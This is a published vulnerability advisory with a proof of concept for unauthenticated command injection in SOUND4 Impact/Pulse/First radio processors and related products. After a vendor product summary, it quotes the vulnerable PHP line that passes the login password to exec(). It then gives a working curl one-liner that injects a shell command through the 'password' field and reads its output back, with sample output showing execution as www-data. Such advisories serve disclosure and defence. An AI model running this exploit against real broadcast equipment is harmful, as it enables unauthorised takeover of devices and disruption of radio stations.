# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE) # Exploit Author: LiquidWorm Vendor: SOUND4 Ltd. Product web page: https://www.sound4.com | https://www.sound4.biz Affected version: FM/HD Radio Processing: Impact/Pulse/First (Version 2: 1.1/2.15) Impact/Pulse/First (Version 1: 2.1/1.69) Impact/Pulse Eco 1.16 Voice Processing: BigVoice4 1.2 BigVoice2 1.30 Web-Audio Streaming: Stream 1.1/2.4.29 Watermarking: WM2 (Kantar Media) 1.11 Summary: The SOUND4 IMPACT introduces an innovative process - mono and stereo parts of the signal are processed separately to obtain perfect consistency in terms of both sound and level. Therefore, in moving reception, when the FM receiver switches from stereo to mono and back to stereo, the sound variations and changes in level are reduced by over 90%. In the SOUND4 IMPACT processing chain, the stereo expander can be used substantially without any limitations. With its advanced functionalities and impressive versatility, SOUND4 PULSE gives clients the ultimate price - performance ratio, providing much more than just a processor. Flexible and powerful, it ensures perfect sound quality and full compatibility with radio broadcasting standards and can be used simultaneously for FM and HD, DAB, DRM or streaming. SOUND4 FIRST provides all the most important functionalities you need in an FM/HD processor and sets the bar high both in terms of performance and affordability. Designed to deliver a sound of uncompromising quality, this tool gives you 2-band processing, a digital stereo generator and an IMPACT Clipper. Desc: The application suffers from an unauthenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'password' HTTP POST parameter through index.php and login.php script. ======================================================================== /var/www/login.php: ------------------- 09: if (isset($_POST['username']) && isset($_POST['password'])) { 10: 11: $ret = -1; 12: // remarque: Check Password for broken, only admin/admin as valid user/password 13: exec('echo ' . $_POST['password'] . ' | /opt/sound4/sound4server _check_pwd_ ' .'"'.$_POST['username'].'";',$out,$ret); ======================================================================== Tested on: Apache/2.4.25 (Unix) OpenSSL/1.0.2k PHP/7.1.1 GNU/Linux 5.10.43 (armv7l) GNU/Linux 4.9.228 (armv7l) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Macedonian Information Security Research and Development Laboratory Zero Science Lab - https://www.zeroscience.mk - @zeroscience Advisory ID: ZSL-2022-5738 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5738.php 26.09.2022 -- > curl --fail -XPOST -sko nul https://RADIOGUGU/index.php --data "username=ZSL&password=`id>/var/www/g`" && curl -sk https://RADIOGUGU/g uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)